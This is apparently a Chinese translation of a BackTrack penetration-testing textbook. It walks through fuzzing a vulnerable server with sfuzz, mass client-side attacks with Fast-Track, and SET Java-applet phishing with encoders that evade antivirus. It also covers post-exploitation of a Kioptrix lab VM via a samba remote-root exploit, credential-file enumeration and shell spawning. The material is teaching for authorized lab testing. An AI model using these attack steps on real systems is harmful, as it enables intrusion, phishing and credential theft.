浏览到/pentest/fuzzers/sfuzz目录,并熟悉目录结构。如果没有参数调用 sfuzz,您将看到可用的启动开关:

/pentest/fuzzers/sfuzz# ./sfuzz 

[23:11:45] error: must specify an output type.
Simple Fuzzer
By: Aaron Conole
version: 0.6.4
url: http://aconole.brad-x.com/programs/sfuzz.html
EMAIL: apconole@yahoo.com
Build-prefix: /usr/local
-h This message.
-V Version information.
networking / output:
-v Verbose output
-q Silent output mode (generally for CLI fuzzing)
-X prints the output in hex
-b Begin fuzzing at the test specified.
-e End testing on failure.
-t Wait time for reading the socket
-S Remote host
-p Port
-T|-U|-O TCP|UDP|Output mode
-R Refrain from closing connections (ie: "leak" them)
-f Config File
-L Log file
-n Create a new logfile after each fuzz
-r Trim the tailing newline
-D Define a symbol and value (X=y).
-l Only perform literal fuzzing
-s Only perform sequence fuzzing

虽然有示例脚本可用,但如果我们想要能够模糊化 vulnserver 应用程序,我们需要创建自己的脚本。在sfuzz-sample目录中创建以下名为basic.verserver的脚本:

include basic-fuzz-strings.list
reqwait=800
maxseqlen=2010
endcfg
KSTET FUZZ
--
FUZZ
--
LHLO FUZZ
--

在这个脚本中,我们指示 sfuzz 在执行模糊化活动时使用basic-fuzz-strings.list。然后我们添加了 200 毫秒的延迟,并将序列长度限制为 2010。这个模糊器非常简单,然后列出要发送的命令,然后是由应用程序用模糊输出替换的 FUZZ 变量。我们必须保存文件,确保 vulnserver 正在 4444 端口上运行,然后继续启动 sfuzz 脚本:

# ./sfuzz -e -S 127.0.0.1 -p 4444 -TO -f /sfuzz-sample/basic.vserver 

这将启动模糊化过程,并让您看到正在传递的数据。可以使用一种技术进行非常快速的扫描,以查看是否发生任何崩溃,然后使用更精细的参数再次运行扫描,并以较慢的速度进行。这将确保异常很容易被捕获。

正如预期的那样,我们的模糊器脚本能够使用以下输出使 vulnserver 崩溃:

==============================================================
[23:58:30] attempting fuzz - 31.
KSTET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[23:58:30] info: tx fuzz - (2017 bytes) - scanning for reply.
[23:58:31] read:
Welcome to Vulnerable Server! Enter HELP for help.

再次,测试没有捕捉到失败,sfuzz 继续向应用程序发送数据。

注意

还记得我们在本章前面编写的可利用程序"fuzzme"吗?挑战自己使用 sfuzz 来模糊化 fuzzme 程序!提示:使用basic.cmd作为编写脚本的指南。

正如先前所述,模糊化的艺术可能非常有用,但掌握它需要专注和持续的练习。

Fast-Track

渗透测试通常受到特定时间范围的限制。这是许多渗透测试人员的主要抱怨,因为毕竟,野外的攻击者根本不受这些业务强加的时间范围的限制。幸运的是,我们可以依靠诸如 Metasploit、SET 或 Fast-Track 之类的工具,尽快地扩大范围。Fast-Track 是由 David Kennedy(又名 ReL1K)和 Joey Furr(又名 j0fer)开发的,用于自动化渗透测试人员经常需要执行的许多攻击。

Fast-Track 是一个菜单驱动且设计精美的工具,它使您能够快速执行诸如生成有效负载、快速设置客户端攻击,甚至将有效负载从二进制转换为十六进制等任务。

注意

Fast-Track 可以通过命令行(-c)、浏览器 GUI(-g)或交互式菜单驱动控制台(-i)使用,只需在调用程序时添加适当的参数。与任何渗透测试工具一样,请在使用 Fast-Track 之前阅读许可文件和警告。渗透测试工具应该只用于您有适当和合法权限进行测试的系统。

我们将只使用这个强大工具的一部分,但了解其所有功能对于任何渗透测试人员来说都是一个有价值的补充。

Fast-Track 可以在 BackTrack 5 R1 的/pentesting/exploits/fastrack中找到。要以 Web GUI 模式启动程序,只需键入:

# ./fast-track.py -g 

----------------------------------------------------------------
Fast-Track - A new beginning...
Automated Penetration Testing
Written by David Kennedy (ReL1K)
Please read the README and LICENSE before using
this tool for acceptable use and modifications.
-------------------------------------------------------------
Modes:
Interactive Menu Driven Mode: -i
Command Line Mode: -c
Web GUI Mode -g
Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g <portnum>
Usage: ./fast-track.py <mode>
***********************************************
******* Performing dependency checks... *******
***********************************************
*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.
Your system has all requirements needed to run Fast-Track!
****************************************
Fast-Track Web GUI Front-End
Written by: David Kennedy (ReL1K)
****************************************
Starting HTTP Server on 127.0.0.1 port 44444
*** Open a browser and go to http://127.0.0.1:44444 ***
Type <control>-c to exit..

此命令已启动了由 David Kennedy 编写的 Fast-Track Web GUI。打开 Firefox 并浏览到http://127.0.0.1:44444,如指示。

侧边栏菜单包括我们在使用菜单驱动用户界面时将要讨论的许多选项。浏览菜单并熟悉应用程序。

注意

除非您完全了解自己在做什么,BackTrack 机器被分割并且不在互联网或生产环境中,否则不要发动任何攻击。

退出浏览器并取消 Fast-Track。在命令行中键入以下内容以打开菜单驱动的 Fast-Track 界面:

# ./fast-track.py -i 

***********************************************
******* Performing dependency checks... *******
***********************************************
*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***
*** ClientForm is installed. (Check) ***
*** Psyco is installed. (Check) ***
*** Beautiful Soup is installed. (Check) ***
Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.
Your system has all requirements needed to run Fast-Track!
[---] [---]
[---] Fast Track: A new beginning [---]
[---] Written by: David Kennedy (ReL1K) [---]
[---] Lead Developer: Joey Furr (j0fer) [---]
[---] Version: 4.0.1 [---]
[---] Homepage: http://www.secmaniac.com [---]
[---] [---]
Fast-Track Main Menu:
1\. Fast-Track Updates
2\. Autopwn Automation
3\. Nmap Scripting Engine
4\. Microsoft SQL Tools
5\. Mass Client-Side Attack
6\. Exploits
7\. Binary to Hex Payload Converter
8\. Payload Generator
9\. Fast-Track Tutorials
10\. Fast-Track Changelog
11\. Fast-Track Credits
12\. Exit Fast-Track
Enter the number:

更新 Fast-Track

与任何其他工具一样,我们在开始之前应该更新所有内容。键入1选择 Fast-Track 更新,然后按Enter

Enter the number: 1 

Fast-Track Update Menu:
1\. Update Fast-Track
2\. Metasploit 3 Update
3\. Update Exploit-DB Exploits
4\. Update Gerix Wifi Cracker NG
5\. Update Social-Engineer Toolkt
(q)uit
Enter number:

按顺序使用 1-3 从 1 到 3 选择更新 Fast-Track、Metasploit 3 更新和 Exploit-DB 漏洞。更新完成后,使用q退出返回到主菜单。

使用 Fast-Track 进行客户端攻击

Fast-Track 包括一个选项,可以设置一个网页,利用客户端机器易受攻击的任何已知漏洞。除了让某人访问您的机器之外,所有工作都已经完成。如果您的测试范围包括网络钓鱼,您可以在电子邮件中制作特定消息,并让用户点击链接返回 Fast-Track 为您设置的页面。

从菜单中选择选项5. 大规模客户端攻击,然后按Enter

您需要输入要监听的 IP 地址。我正在使用的 BackTrack 机器在VLAN1上监听192.168.1.205。您需要知道您的 IP 地址是什么,并在此处输入。

Enter the IP Address to listen on: 192.168.1.205 

在提示输入要使用的有效负载时,选择2. 通用绑定 Shell,然后按Enter

键入no来 ARP 欺骗主机。除非您知道自己在做什么并完全了解 ARP 欺骗及其固有风险,否则不建议使用此选项。如果您在分割的实验室环境中,看到这个功能是令人难以置信的,所以您一定要深入了解它!

您将看到一个新的弹出命令提示符,类似于以下内容:

使用 Fast-Track 进行客户端攻击

现在任何连接到该服务器的系统都将遇到以下网页:

使用 Fast-Track 进行客户端攻击

如果连接到这个网站的系统容易受到 Fast-Track 尝试的任何漏洞的影响,您将看到一个通用绑定 Shell。

提示

我们将在后期利用章节中重新讨论这个功能,在那里我们将充分利用一个单元,并跟进后期利用阶段。在这一点上,最重要的是要了解不仅对渗透测试人员,而且对公众来说可用的工具类型。如果您正在测试的企业容易受到 Mass Client Attack Web Server 针对的漏洞的影响,那么受影响的系统尽快更新和加固是非常重要的。

Fast-Track 中的选项都有很好的文档,网络功能提供了这个工具的很好的演练。使用您的实验室尝试一些漏洞利用,特别是如果您有 Windows XP 许可证。

社会工程工具包

社会工程工具包(SET)是由 David Kennedy [ReL1K]和 SET 开发团队 JR DePre [pr1me],Joey Furr [j0fer]和 Thomas Werth 创建的。该工具包提供了各种各样的攻击方式,对于那些认真进行渗透测试的人来说,这是一个绝对“必备品”。我们只会对社会工程工具包进行简要介绍。SET 使用简单,SET 开发团队已经创建了出色的文档,可以在www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Social_Engineer_Toolkit_(SET)免费获取。

SET 已经预装在 BackTrack 上,并且可以在命令行中调用:

/pentest/exploits/set# ./set 

注意

在您使用软件之前,您必须阅读并接受 BSD 许可协议,并且您不会将此工具用于任何非法行为。此协议也涵盖了任何将来的使用,一旦接受了,您将不会再次被提示,只需按Y(es)

社会工程工具包

更新框架后(记得在升级后再次断开与互联网的连接!),选择1)社会工程攻击以获得可以执行的可能攻击的列表:

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) Third Party Modules
99) Return back to the main menu.

我们将从网站向量开始。输入2以进入下一个菜单。在这个例子中,我们将查看列表上的第一个选项。

1) Java Applet Attack Method 
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate
99) Return to Main Menu

下一个菜单提供了三个选项。在这个例子中,我们将使用其中一个提供的模板:

[TRUNCATED…]
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>1 

在下一个菜单中,选择1.需要 Java作为您的模板。

1\. Java Required
2\. Gmail
3\. Google
4\. Facebook
5\. Twitter

set:webattack> Select a template:1 

当被问及要使用哪种有效载荷时,请仔细查看选项,并选择选项 3,即反向 TCP VNC 服务器。

社会工程工具包

我们将选择 Backdoored 可执行文件作为我们的有效载荷。开发团队为每种编码器类型提供了评级。有时您可能需要尝试不同类型,直到找到适合您测试需求的类型。这些编码器将帮助您绕过主机上存在的防病毒软件。

防病毒软件通常是基于签名的,因此如果您能够改变文件的签名,防病毒保护将无法检测到您的有效载荷。

社会工程工具包

选择默认的监听端口 443 并按Enter继续。就是这样!现在您所要做的就是等待有人连接到您的 Web 服务器。如果您有一个可用的 Windows 机器并浏览到该网站,您将看到以下网站:

社会工程工具包

我们将在后期利用章节中重新讨论这个练习,我们将充分利用目标系统并从中控制网络。

摘要

客户端攻击通常是进入受保护环境的最简单方法。我们知道,通过巧妙地利用不同的攻击向量,攻击者能够利用用户的经验不足或善良来访问客户端计算机。开发人员通常无法在规定的时间内检查其程序的每个可能的缺陷,因此许多这些漏洞都未被质量保证团队和开发人员发现。

在这一章中,我们不仅有机会了解缓冲区溢出漏洞,而且实际上创建了我们自己的易受攻击的应用程序。然后,我们利用了这个漏洞,使用手动技术以及自动模糊测试工具,如 sfuzz 和 bed。我们学会了如何创建我们自己的模块,以及如何修改现有的模块以适应我们的特定需求。

此外,我们讨论了 Fast-Track 和社会工程工具包,并演示了在 Fast-Track 中设置大规模网络攻击和在 SET 中进行 Java 小程序攻击的步骤。利用这些演示中获得的知识,您应该能够在家庭实验室中审查和测试其他选项,直到您能够在生产测试环境中熟练使用这些工具。在审查 SET 时,我们还涉及了防病毒和重新打包我们的有效负载。在未来的章节中,我们将重新审视这些工具,完全利用并控制受控网络环境。

在下一章中,我们将学习定位和收集受损主机信息所需的步骤。这个阶段包括学习执行后期利用所需的最常用命令,以及提升特权和向受损机器添加持久访问权限等步骤。

第七章:后期利用

渗透测试中经常被忽视的是后期利用。过去,许多人甚至认为一旦在远程目标机器上打开了一个 shell,工作就完成了。目标导向的渗透测试将需要更多。必须有一个具体的目标,比如访问关键数据库,或者获取关键凭证,使攻击者能够阅读私人企业电子邮件,才能使渗透测试具有价值。业主和经理们关心保护其资产和数据的机密性、完整性和可用性。报告说一个随机系统很容易被攻破,与提供攻击者可能轻松造成公司数百万美元的损失的有关关键系统的漏洞的具体证据相比,意义不大。

在本章中,我们将涵盖许多感兴趣的领域,包括:

  • 关于后期利用的规则的参与

  • 数据收集技术

  • 获取存储的凭证

  • 权限提升

提示

尽管我们很想这样做,但我们无法为您作为渗透测试人员所面临的每种情况提供直接的逐步指导。我们希望我们提供的指导能够帮助您发展必要的技能和心态,以正确检查和验证受保护环境的安全性。渗透测试需要奉献精神和发现并采取行动的能力。有许多特定利用和后期利用的方法,但如果没有适当的技术理解和背景,这些方法只会导致混乱。花时间充分了解正在测试的操作系统和技术对于任何渗透测试来说都是至关重要的。

规则的参与

在目标导向的渗透测试期间,环境将使用类似于野外攻击者使用的技术进行评估。在此情况下,规则的参与是绝对关键的,必须仔细遵守。在渗透测试的后期利用阶段,可能会泄露敏感数据;必须遵循政府法规的系统可能会成为目标,或者可能会发现硬编码的密码。务必让客户意识到这一事实,并准备必要的文件,明确详细说明什么是可以接受的,什么是不可以接受的。在某些情况下,您可能能够同时测试开发环境和生产环境;如果是这种情况,请务必注意从开发到生产的密码重用。

注意

警告:规则的参与对于渗透测试的所有阶段都非常重要,但在后期利用方面尤为重要。如果您对后期利用或任何其他阶段的规则的参与有任何疑问,请在为任何人执行渗透测试之前寻求法律咨询,以确保所有方面都得到覆盖。

什么是允许的?

评估渗透测试的目标,并确定需要完成什么才能证明存在一个或多个可利用的漏洞,从而实现目标。例如,如果需要进行一次拒绝服务攻击,将本地资源转移到解决问题上,您是否被允许执行?企业是否明白,攻击一个看似不重要的系统可能会给您提供攻击更重要目标的机会,而他们正忙于解决“问题”?您的团队中有多少人被允许执行商定的任务?考虑所有可能性,然后确保它们都是必要的,并且在进行测试之前得到批准。除非事先与客户讨论过,否则仅仅获得系统上的 VNC 会话可能会违反您的参与规则。

注意

视频和语音捕获(考虑 VOIP)可能受到您所在国家或地区法律的限制。不要违法。研究一切,并在需要时寻求法律建议。

您能修改任何东西吗?

您所针对的环境是否允许您添加或删除帐户、更改日志文件或通过枢纽发动内部攻击?如果是这样,您的客户是否批准这一切以及涉及的所有风险?尽管看起来很简单,但所有事情都需要在规则中得到解决。不应该做任何假设。要测试一个实际的安全环境将需要大量的规划和深思熟虑,以确保您拥有真正测试环境所需的权限,并模仿实际攻击者可能使用的攻击。

注意

只执行确实需要实现目标的攻击。例如,在大多数环境中删除数据库表不是一个好主意。通常有更少侵入性的方法来证明已经获得对关键数据库服务器的管理员访问权限。

您是否允许添加持久性?

在对大型网络进行测试时,可能需要向关键系统添加持久性。这将允许您绕过测试期间进行的任何限制或更改。这也模仿了攻击者通常会采取的行动。毕竟,如果在系统上获得 rootshell,却被公司的补丁周期阻止,那会多么令人沮丧。但是,如果发生这种情况,请务必赞扬安全团队!

应考虑不同类型的持久性;您是否被允许 root kit 一台机器,还是只安装等待端口的进程?对现有服务设置后门,或者在您敲击某些端口时启动任务呢?持久性有不同的级别,取决于规模和配置,持久性可以让测试人员的生活变得更加轻松。确定达到目标所需的内容,并确保在测试之前已经覆盖了所有权限。

您和您的团队如何处理收集和存储的数据?

从客户资产收集的数据应该小心保护。在测试之前设立关于密码管理、报告、第三方参与(您使用什么来破解这些密码哈希?)以及涉及客户数据的其他一切规则。事先达成一致,关于如何传输、存储和清理这些数据,以便事后没有疑问。另一个需要注意的事项是,您将如何处理任何表明有未知且可能敌对的攻击者已经进入网络的事件或信息。第三方安全事件响应团队有非常具体的方法来处理这些情况,以确保事件得到适当处理。

员工数据和个人信息

了解与每个具体工作相关的员工信息的法律法规和政策。如果系统上包含的信息不属于客户,他们是否能够授权您查看、可能复制和存储这些数据?建议使用经过法律顾问审查的良好合同,这些法律顾问熟悉这类工作。

数据收集、网络分析和掠夺

一旦系统被入侵,建议对设备进行全面枚举。任何有价值的线索或信息都需要快速有效地定位和管理。在这个阶段,重点应该是收集凭据并全面枚举已安装的服务、网络配置和访问历史。确定系统正在运行的网络或环境的类型也可能是有益的。网络是否分段,设备是否关联多个 IP,或者它实际上是虚拟化的,比如我们的测试网络?

注意

创建一个命令和程序列表,用于审查受损系统时的效率和有效性。拥有这样的行动计划也使报告阶段更容易,并消除了在测试阶段可能遗漏重要内容的机会。

Linux

许多公司正在转向开源操作系统以节省成本并保持竞争力。每种操作系统的特点都有微妙的差异,在尝试查找重要设置或信息时应予以注意和理解。

重要目录和文件

应审查运行 Linux 操作系统的受损系统上的以下文件:

目录或文件 描述
/etc/passwd 此文件包含所有系统用户帐户的列表。
/etc/ftpusers 提供允许访问 FTP 服务器的用户列表。
/etc/pam.d 包含可插拔认证模块(PAM)配置文件的非常有用的目录。较旧的安装可能使用/etc/pam.conf
/etc/shadow 密码存储在此文件中。它们需要被解密。
/etc/hosts.allow 允许访问该系统的主机名列表。
/etc/hosts.deny 访问控制机制,将限制对列出的系统的访问。
/etc/securetty 允许根登录的 TTY 接口列表。
/etc/shutdown.allow 可以关闭系统的用户帐户列表。
/etc/security 安全策略。
/etc/init.d or /etc/rc.d/init.d 服务和程序启动文件(例如/etc/init.d/apache 2)。
/etc/ssh 读取或修改 SSH 配置。
/etc/sysctl.conf 内核选项。
/etc/sysconfig 系统配置文件。
/etc/dhcpc 包含有关 DHCP 连接的信息。
/var/log 最有可能找到本地存储的日志文件的地方。
/var/log/messages 存储系统消息的非常有趣的日志文件。
/var/log/wtmp 显示当前登录用户的日志文件。
/var/log/lastlog last 命令从这个日志文件中提取。

提示

一定要查找备份文件,它们可能包含您无法访问的关键数据!

重要命令

命令 描述
ls -oaF 列出所有文件,并使用符号使其更容易确定目录、可执行文件等,并按顺序列出。
locate 执行搜索。例如:(locate awesomeVPNClient将定位任何 awesomeVPNClient 的实例。如果您有流行 VPN 客户端名称的列表,这将非常有帮助)。
updatedb 更新 locate 数据库。
grep 非常强大的命令,允许您在文件中搜索字符串。
less 使用 less 来阅读文件。
cat 也可用于显示文件的内容。
df -H 提供磁盘信息。
date 可以尝试获取系统所在时区的概念。
free 提供内存信息。
arch 提供有关系统架构的信息。
echo 可用于自动编写文件。只需输出指定的文本。
last 将显示/var/last日志文件。
logname 提供您的登录名。
pwd 打印工作目录。显示您在目录结构中的位置。
uname -a 提供有关操作系统的信息。
netstat 提供连接信息。
ifconfig or /sbin/ifconfig 网络接口配置。
udevd version 打印 udev 版本。
find / -type f perm 777 查找所有权限为 777 的文件。

还有许多其他有用的命令,但这些应该提供枚举远程系统和收集大部分(如果不是全部)有趣信息所需的基本信息。

注意

管理员有时会使某些文件不可变。当您遇到无法删除某个文件的情况时,使用lsattr来查看文件属性。

将这些信息用于实际操作

现在我们已经知道了我们想要审查的文件类型和命令输出类型,让我们把其中一些用起来。为了跟随本节,您需要将虚拟 pfSense、Backtrack 和 Kioptrix 级别 1 客户机连接到 VLAN1,使用 192.168.75.0/24 IP 空间。

枚举

我们将从 BackTrack 开始利用 Kioptrix 系统。在我们进行后期利用之前,我们需要找到并利用一个系统。通常情况下,我们首先对我们的本地子网进行快速扫描:

# nmap 192.168.75.0/24 

您的结果会有所不同,但您应该能够在您的网络上找到 Kioptrix 机器:

Nmap scan report for 192.168.75.14 
Host is up (0.00031s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
32768/tcp open filenet-tms
MAC Address: 08:00:27:21:21:62 (Cadmus Computer Systems)

现在已确定了目标的 IP 地址,我们将进行更彻底的扫描。使用您选择的命令来收集必要的系统信息:

# nmap -A 192.168.75.14 

Starting Nmap 5.61TEST2 ( http://nmap.org ) at 2012-01-02 13:52 EST
Nmap scan report for 192.168.75.14
Host is up (0.0047s latency).
Not shown: 994 closed ports
…TRUNCATED OUTPUT…

利用

我们重复利用之前的 samba 漏洞来访问系统samba-2.2.8 < remote root exploit by eSDee ([www.netric.org|be](http://www.netric.org|be))。如果您没有在利用章节中跟随,请转到/pentest/exploits/exploitdb,搜索samba exploit 10.c,清理代码并通过gcc -o SambaVuln_10 10.c在一个目录中编译它为 SambaVuln_10。如果您在编译此代码时遇到问题,请重新查看适当的章节以获得逐步演练。

注意

请记住,您可以通过转到/pentest/exploits/exploitdb并使用./searchexploit命令,然后使用搜索变量如./searchsploit openssl来执行本地 exploit 库的 Exploit-DB 搜索。

# ./SambaVuln_10 -b 0 192.168.75.14 

samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

已连接,现在该怎么办?

现在我们远程连接后,开始收集有关系统的数据变得很重要。

注意

请注意,您的远程 shell 的功能并不等同于您的标准 Linux shell 的功能。

您可能已经注意到您没有收到命令提示符。查看您连接到的tty

tty

not a tty

由于您当前正在以 root 身份运行,大多数我们想要访问的命令都将可用:

# whoami 

root

例如,如果您想直接连接回您的 BackTrack(192.168.75.25)机器使用 SSH,您可能会遇到这样的问题:

# ssh 192.168.75.25 

Pseudo-terminal will not be allocated because stdin is not a terminal.
Aborted by user!

当时间紧迫,需要在测试完成之前审查许多系统时,这可能会令人沮丧。您可以尝试使用 Python 生成一个 shell:

# python -c 'import pty; pty.spawn("/bin/sh")' 

不幸的是,这并不总是有效。幸运的是,一旦我们在目标系统上有足够的访问级别,就有很多其他方法可以绕过这个问题。如果您尝试在 Kioptrix 级别 1 机器上使用当前的 shell 生成一个 shell,这是输出:

Traceback (innermost last):
File "<string>", line 1, in ?
File "/usr/lib/python1.5/pty.py", line 101, in spawn
mode = tty.tcgetattr(STDIN_FILENO)
termios.error: (22, 'Invalid argument')

注意

这是需要渗透测试人员的心态的一个很好的例子。当一种方法失败时,尝试另一种方法是很重要的。在进行渗透测试时,放弃不是一个选项,特别是在测试环境中有许多安全控制和流程的情况下。

远程系统上有哪些工具可用

在开始之前,快速枚举可用工具可能是有益的。例如,知道已经安装并准备好使用 GCC 编译器可以影响您想要进行的后期利用活动的类型。在开始我们的努力之前,这里是一些我们应该检查的工具和功能:

工具 命令 Kioptrix 输出
bash which bash /bin/bash
curl which curl /usr/bin/curl
ftp which ftp /usr/bin/ftp
gcc which gcc /usr/bin/gcc
iptables which iptables which: no iptables in (/usr/local/bin:/bin:/usr/bin)
nc which nc which: no nc in (/usr/local/bin:/bin:/usr/bin)
nmap which nmap /usr/bin/nmap
ssh which ssh /usr/bin/ssh
telnet which telnet /usr/bin/telnet
tftp which tftp which: no tftp in (/usr/local/bin:/bin:/usr/bin)
wget which wget /usr/bin/wget
sftp which sftp /usr/bin/sftp

通过充分了解目标机器的能力,我们可以确定下一步的行动计划。在 Kioptrix 机器的情况下,值得注意的是nmap已经安装!如果系统可以访问多个网络,我们将能够利用这个工具从192.168.75.14扫描远程网络。如果您已经从防火墙外部获得了 root shell,并且无法简单地从自己的机器上运行扫描,这一点尤为重要。

查找网络信息

我们首先要做的是确定系统连接到哪些网络。我们需要从设备中收集网络信息:

cd /sbin
./ifconfig

eth0 Link encap:Ethernet HWaddr 08:00:27:21:21:62
inet addr:192.168.75.14 Bcast:192.168.75.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:6675 errors:0 dropped:0 overruns:0 frame:0
TX packets:1357 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:485701 (474.3 Kb) TX bytes:1108769 (1.0 Mb)
Interrupt:10 Base address:0xd020
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3805 (3.7 Kb) TX bytes:3805 (3.7 Kb)

该系统只设置了一个以太网连接,我们已经知道了它(eth0 在192.168.75.14)。重要的是要注意可能包含多个网络卡的网络配置。如果系统是虚拟化的或多宿主的,有可能用于进入以前无法访问的另一个网络。您还需要知道系统是否设置为路由器。ifconfig中的多个网络是可能有更多内容可发现的良好指标。

提示

我们将审查许多命令和文件的数据。在撰写报告或尝试在您自己的实验室中重新创建网络进行进一步测试时,将需要这些数据。最简单的方法是将您的命令输出导入到一个单个文件中,然后可以下载进行审查。

系统包含许多其他网络信息。让我们下载一些这些数据进行审查。

查看 ARP 表后,我们确定目标网络上有一台 pfSense 机器:

./arp 

Address HWtype HWaddress Flags Mask Iface
pfSense.localdomain ether 08:00:27:CA:23:C6 C eth0
192.168.75.25 ether 08:00:27:87:C5:F5 C eth0

我们需要查看我们的主机文件,以确定是否有我们不知道的任何限制。如果主机中指定了某些系统,我们可以使用hosts.allowhosts.deny中的信息来帮助设置攻击优先级。文件包含非常描述性的注释;因此我们不会重复它们的用途。

cd /etc
cat hosts

# Do not remove the following line, or various programs
# that require network functionality will fail.
#127.0.0.1 localhost.localdomain localhost
127.0.0.1 kioptix.level1 kioptix

cat hosts.allow 

#
# hosts.allow This file describes the names of the hosts which are
# allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#

cat hosts.deny 

#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
# The portmap line is redundant, but it is left to remind you that
# the new secure portmap uses hosts.deny and hosts.allow. In particular
# you should know that NFS uses portmap!

注意

如果您的目标系统正在运行 DNS 服务器,您应该查看 DNS 缓存。DNS 缓存可能包含有关您正在测试的网络的大量信息。

要找到存储在系统上的其他 DHCP 信息,我们必须首先切换到/etc/dhcpc目录。

提示

